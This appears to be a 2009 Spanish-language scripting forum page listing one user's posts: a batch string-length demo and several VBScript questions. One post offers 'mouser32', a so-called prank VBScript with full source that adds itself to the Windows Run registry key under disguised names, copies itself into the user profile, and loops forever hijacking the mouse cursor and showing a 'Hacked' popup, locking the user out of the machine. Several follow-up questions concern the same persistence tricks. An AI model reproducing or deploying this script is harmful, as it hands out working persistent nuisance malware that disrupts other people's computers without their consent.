Últimos Temas de: xassiz_

Mostrar Temas
Páginas: 1 2 3 [4] 5

31	Programación / Scripting / {Resuelto} [vbs] dudaas web.. =P	en: 19 Septiembre 2009, 12:29 pm
Hay alguna funcion para poder manejar cosas web? uhm creo q esto no explica nada xDD Por ejemplo, mirar si www.paginainventada.com tiene la palabra "NovLucker" escrita en el code fuente, etc..

Programación / Scripting / Función Lenght + efecto - by xassiz

en: 17 Septiembre 2009, 13:46 pm

Título: Función Lenght + efecto
Temática: Strings
Autor: xassiz
Descripción: Muestra la longitud de una cadena introducida, y la muestra en vertical.
Funcionamiento: Pide una string, y llama a la etiqueta lenght para medirla con un contador. Luego crea una variable para cada caracter y los muestre verticalmente.

Código:

@echo off
title Funcion Lenght + efecto  -  by xassiz!
setlocal enabledelayedexpansion
:main
(set txt=)
set/p "txt=String> "
if not defined txt (goto:main)
set/a cont=0
call :lenght
cls
echo."%txt%" mide %cont%
pause>nul
echo.
for /L %%_ in (1,1,%cont%) do (echo.!let[%%_]!)
echo.
pause>nul
exit
:lenght
set "var=!txt:~%cont%,1!"
if not defined var (goto:eof)
set/a cont+=1
set "let[%cont%]=%var%"
goto:lenght

Salida:

Código:

String> me llamo xassiz

'se borra la pantalla

"me llamo xassiz" mide 15

'hace una pausa

m
e

l
l
a
m
o

x
a
s
s
i
z

Si hay dudas, preguntad

33	Programación / Scripting / {Resuelto} [Batch Help!] ayuda con conversion de caracteres..	en: 16 Septiembre 2009, 17:50 pm
Código: set "variable=%variable:a=1%" set "variable=%variable:A=2%" Ok, mi problema es para diferenciar mayúsculas de minusculas. Hay alguna forma? Pense con un IF.. Código: if ["%variable%"]==["a"] (set "variable=%variable:a=1%") if ["%variable%"]==["A"] (set "variable=%variable:A=2%") Pero si el contenido de %variable% tiene mas de un caracter ya no serviría.. Ahora mismo se me ocurrio hacer algo con findstr pero nunca lo supe utilizar bien..

34	Programación / Scripting / {Resuelto} [vbs] Cerrar proceso sin abrirlo	en: 16 Septiembre 2009, 17:14 pm
Queria saber si se puede cerrar un proceso sin abrirlo anteriormente (que es lo que venia en el tuto). Por ejemplo, cerrar el proceso cmd.exe No se si se puede por titulo de ventana.. vi algo asi hace tiempo.

35	Programación / Scripting / {Resuelto} [vbs] Pregunta sobre inputbox..	en: 16 Septiembre 2009, 16:16 pm
Hola, quería hacer una pregunta. Código: inputbox1 = InputBox("Texto","Titulo","Aparece en el inputbox") Querría saber si el inputbox, se podría hacer de varias lineas, para escribir un texto largo.. bye!

Programación / Scripting / [BromaVBS] mouser32 - by xassiz!

en: 15 Septiembre 2009, 22:00 pm

Bueno, gracias a NovLucker llegué a hacer una broma en vbs (que la probé con un amigo y realmente funciona XD XD XD).. aprendí bastante al hacer esto

Citar

-Se agrega al Run para iniciarse con el pc
-Se autocopia
-Agrega tambien al Run la copia por si se borra el original
-Muestra un popup con un mensaje
-Mueve el mouse cada medio segundo para diferentes sitios, de manera que no lo puedes utilizar xD
-Comienza un bucle infinito, vuelve a mostrar el popup, vuelve a mover el mouse, etc. etc. etc. :laugh:

Código:

'Mouser32 - by xassiz
''broma sobre el mouse

set registro = createobject("wscript.shell")
registro.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32dll",wscript.scriptfullname,"REG_SZ"
set autocopia = createobject("scripting.filesystemobject")
set varentorno = createobject("wscript.shell")
userprofile = varentorno.expandenvironmentstrings("%userprofile%")
autocopia.copyfile wscript.scriptfullname, userprofile & "\mouser32.vbs", true
set registro2 = createobject("wscript.shell")
registro2.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32exe,"wscript.scriptfullname,"REG_SZ"
do
Set hacked=createobject("Wscript.shell")
set broma=CreateObject("Excel.Application")
mensaje=hacked.popup("Welcome to the hell.. the mouser32!!",1,"Hacked by xassiz!",16)
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""850"", ""1000"")")
set broma=Nothing
loop

Espero correcciones, criticas y mejoras :rolleyes:

Graciaaas! ::)

37	Programación / Scripting / {Resuelto} [vbs] Problema con autocopiar	en: 15 Septiembre 2009, 16:28 pm
Código: set autocopia = createobject("scripting.filesystemobject") autocopia.copyfile "wscript.scriptfullname", "%userprofile%\vbs.vbs", true Consegui esto. Pero da error... Citar Linea 2 caracter1 wtf?

38	Programación / Scripting / {Resuelto} [Another Duda VBS] Agregando cosas al registro	en: 14 Septiembre 2009, 22:18 pm
Código: Set objshell = createobject("wscript.shell") objshell.regwrite(llave de registro, valor, tipo de dato) Como podría por ejemplo, agregar un script al Run? Existe algo como el %0 en Batch?

39	Programación / Scripting / {Resuelto} [Duda VBS] Clipboardd.	en: 14 Septiembre 2009, 21:13 pm
Se podría manejar el portapapeles en VBS? Sin ser con sendkeys.. algo mas funcional xD

40	Programación / Scripting / [vbs] Foco de ventana¿?	en: 3 Septiembre 2009, 11:56 am
Me preguntaba como poner el foco en el escritorio bytes

Páginas: 1 2 3 [4] 5